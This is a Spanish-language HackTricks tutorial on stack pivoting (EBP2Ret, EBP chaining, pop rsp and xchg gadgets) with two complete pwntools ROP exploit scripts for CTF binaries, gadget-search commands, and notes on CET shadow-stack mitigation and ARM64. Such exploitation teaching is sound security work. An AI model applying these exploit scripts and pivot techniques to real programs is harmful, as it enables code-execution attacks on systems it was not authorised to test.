Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 13 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información Básica
Esta técnica explota la capacidad de manipular el Base Pointer (EBP/RBP) para encadenar la ejecución de múltiples funciones a través del uso cuidadoso del puntero de marco y la secuencia de instrucciones leave; ret
.
Como recordatorio, en x86/x86-64 leave
es equivalente a:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
Y como el EBP/RBP guardado está en la pila antes del EIP/RIP guardado, es posible controlarlo al controlar la pila.
Notas
- En 64 bits, reemplaza EBP→RBP y ESP→RSP. La semántica es la misma.
- Algunos compiladores omiten el puntero de marco (ver “EBP podría no ser utilizado”). En ese caso,
leave
podría no aparecer y esta técnica no funcionará.
EBP2Ret
Esta técnica es particularmente útil cuando puedes alterar el EBP/RBP guardado pero no tienes una forma directa de cambiar EIP/RIP. Aprovecha el comportamiento del epílogo de la función.
Si, durante la ejecución de fvuln
, logras inyectar un EBP falso en la pila que apunta a un área en memoria donde se encuentra la dirección de tu shellcode/cadena ROP (más 8 bytes en amd64 / 4 bytes en x86 para tener en cuenta el pop
), puedes controlar indirectamente RIP. A medida que la función retorna, leave
establece RSP en la ubicación creada y el subsiguiente pop rbp
disminuye RSP, haciendo que apunte efectivamente a una dirección almacenada por el atacante allí. Luego ret
usará esa dirección.
Nota cómo necesitas conocer 2 direcciones: la dirección a la que ESP/RSP va a ir, y el valor almacenado en esa dirección que ret
consumirá.
Construcción de Exploit
Primero necesitas conocer una dirección donde puedes escribir datos/direcciones arbitrarias. RSP apuntará aquí y consumirá el primer ret
.
Luego, necesitas elegir la dirección utilizada por ret
que transferirá la ejecución. Podrías usar:
- Una dirección válida de ONE_GADGET.
- La dirección de
system()
seguida del retorno y argumentos apropiados (en x86:ret
objetivo =&system
, luego 4 bytes basura, luego&"/bin/sh"
). - La dirección de un gadget de
jmp esp;
(ret2esp) seguido de shellcode en línea. - Una cadena ROP en memoria escribible.
Recuerda que antes de cualquiera de estas direcciones en el área controlada, debe haber espacio para el pop ebp/rbp
de leave
(8B en amd64, 4B en x86). Puedes abusar de estos bytes para establecer un segundo EBP falso y mantener el control después de que la primera llamada retorne.
Exploit Off-By-One
Hay una variante utilizada cuando solo puedes modificar el byte menos significativo del EBP/RBP guardado. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con ret
debe compartir los primeros tres/cinco bytes con el EBP/RBP original para que una sobrescritura de 1 byte pueda redirigirlo. Usualmente, el byte bajo (offset 0x00) se incrementa para saltar lo más lejos posible dentro de una página/región alineada cercana.
También es común usar un RET sled en la pila y poner la verdadera cadena ROP al final para hacer más probable que el nuevo RSP apunte dentro del sled y se ejecute la cadena ROP final.
Encadenamiento de EBP
Al colocar una dirección controlada en el espacio de EBP
guardado de la pila y un gadget de leave; ret
en EIP/RIP
, es posible mover ESP/RSP
a una dirección controlada por el atacante.
Ahora RSP
está controlado y la siguiente instrucción es ret
. Coloca en la memoria controlada algo como:
&(next fake EBP)
-> Cargado porpop ebp/rbp
deleave
.&system()
-> Llamado porret
.&(leave;ret)
-> Después de quesystem
termine, mueve RSP al siguiente EBP falso y continúa.&("/bin/sh")
-> Argumento parasystem
.
De esta manera, es posible encadenar varios EBP falsos para controlar el flujo del programa.
Esto es como un ret2lib, pero más complejo y solo útil en casos extremos.
Además, aquí tienes un ejemplo de un desafío que utiliza esta técnica con un leak de pila para llamar a una función ganadora. Este es el payload final de la página:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
consejo de alineación amd64: System V ABI requiere alineación de pila de 16 bytes en los sitios de llamada. Si tu cadena llama a funciones como
system
, agrega un gadget de alineación (por ejemplo,ret
, osub rsp, 8 ; ret
) antes de la llamada para mantener la alineación y evitar fallos demovaps
.
EBP podría no ser utilizado
Como se explica en esta publicación, si un binario se compila con algunas optimizaciones o con omisión del puntero de marco, el EBP/RBP nunca controla ESP/RSP. Por lo tanto, cualquier exploit que funcione controlando EBP/RBP fallará porque el prólogo/epílogo no se restaura desde el puntero de marco.
- No optimizado / puntero de marco utilizado:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimizado / puntero de marco omitido:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
En amd64, a menudo verás pop rbp ; ret
en lugar de leave ; ret
, pero si el puntero de marco se omite por completo, entonces no hay un epílogo basado en rbp
para pivotar.
Otras formas de controlar RSP
Gadget pop rsp
En esta página puedes encontrar un ejemplo usando esta técnica. Para ese desafío, era necesario llamar a una función con 2 argumentos específicos, y había un gadget pop rsp
y hay una fuga de la pila:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Consulta la técnica ret2esp aquí:
Encontrar gadgets de pivote rápidamente
Usa tu buscador de gadgets favorito para buscar primitivas de pivote clásicas:
leave ; ret
en funciones o en bibliotecaspop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(oadd esp, <imm> ; ret
en x86)
Ejemplos:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Patrón clásico de preparación de pivote
Una estrategia de pivote robusta utilizada en muchos CTFs/exploits:
- Utiliza un desbordamiento inicial pequeño para llamar a
read
/recv
en una región escribible grande (por ejemplo,.bss
, heap o memoria RW mapeada) y coloca allí una cadena ROP completa. - Retorna a un gadget de pivote (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
) para mover RSP a esa región. - Continúa con la cadena preparada (por ejemplo, filtra libc, llama a
mprotect
, luegoread
shellcode, y luego salta a ello).
Mitigaciones modernas que rompen el pivoteo de pila (CET/Shadow Stack)
Las CPUs y sistemas operativos x86 modernos implementan cada vez más CET Shadow Stack (SHSTK). Con SHSTK habilitado, ret
compara la dirección de retorno en la pila normal con una pila sombra protegida por hardware; cualquier discrepancia genera un fallo de Control-Protection y termina el proceso. Por lo tanto, técnicas como EBP2Ret/leave;ret basadas en pivotes fallarán tan pronto como se ejecute el primer ret
desde una pila pivotada.
- Para más información y detalles más profundos, consulta:
- Comprobaciones rápidas en Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Notas para labs/CTF:
-
Algunas distribuciones modernas habilitan SHSTK para binarios habilitados para CET cuando hay soporte de hardware y glibc. Para pruebas controladas en VMs, SHSTK se puede deshabilitar a nivel del sistema mediante el parámetro de arranque del kernel
nousershstk
, o habilitar selectivamente a través de configuraciones de glibc durante el inicio (ver referencias). No deshabilites mitigaciones en objetivos de producción. -
Las técnicas basadas en JOP/COOP o SROP podrían seguir siendo viables en algunos objetivos, pero SHSTK rompe específicamente los pivotes basados en
ret
. -
Nota de Windows: Windows 10+ expone el modo de usuario y Windows 11 añade "Protección de Pila Forzada por Hardware" en modo kernel, construida sobre pilas sombra. Los procesos compatibles con CET previenen el pivoteo de pila/ROP en
ret
; los desarrolladores optan por ello a través de CETCOMPAT y políticas relacionadas (ver referencia).
ARM64
En ARM64, los prologues y epílogos de las funciones no almacenan ni recuperan el registro SP en la pila. Además, la instrucción RET
no regresa a la dirección apuntada por SP, sino a la dirección dentro de x30
.
Por lo tanto, por defecto, solo abusando del epílogo no podrás controlar el registro SP sobrescribiendo algunos datos dentro de la pila. E incluso si logras controlar el SP, aún necesitarías una forma de controlar el registro x30
.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP apunta al registro de marco
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
La forma de realizar algo similar al pivoteo de pila en ARM64 sería poder controlar el SP
(controlando algún registro cuyo valor se pasa a SP
o porque por alguna razón SP
está tomando su dirección de la pila y tenemos un desbordamiento) y luego abusar del epílogo para cargar el registro x30
desde un SP
controlado y RET
a él.
También en la siguiente página puedes ver el equivalente de Ret2esp en ARM64:
Referencias
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, explotación off by one con una cadena rop comenzando con un ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bits, sin relro, canary, nx y pie. El programa otorga un leak para stack o pie y un WWW de un qword. Primero obtén el leak de la pila y usa el WWW para volver y obtener el leak del pie. Luego usa el WWW para crear un bucle eterno abusando de las entradas de
.fini_array
+ llamando a__libc_csu_fini
(más información aquí). Abusando de esta escritura "eterna", se escribe una cadena ROP en la .bss y se termina llamándola pivotando con RBP. - Documentación del kernel de Linux: Tecnología de Aplicación de Control de Flujo (CET) Pila Sombra — detalles sobre SHSTK,
nousershstk
, banderas de/proc/$PID/status
, y habilitación a través dearch_prctl
. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Protección de Pila Forzada por Hardware en Modo Kernel (pilas sombra CET en Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.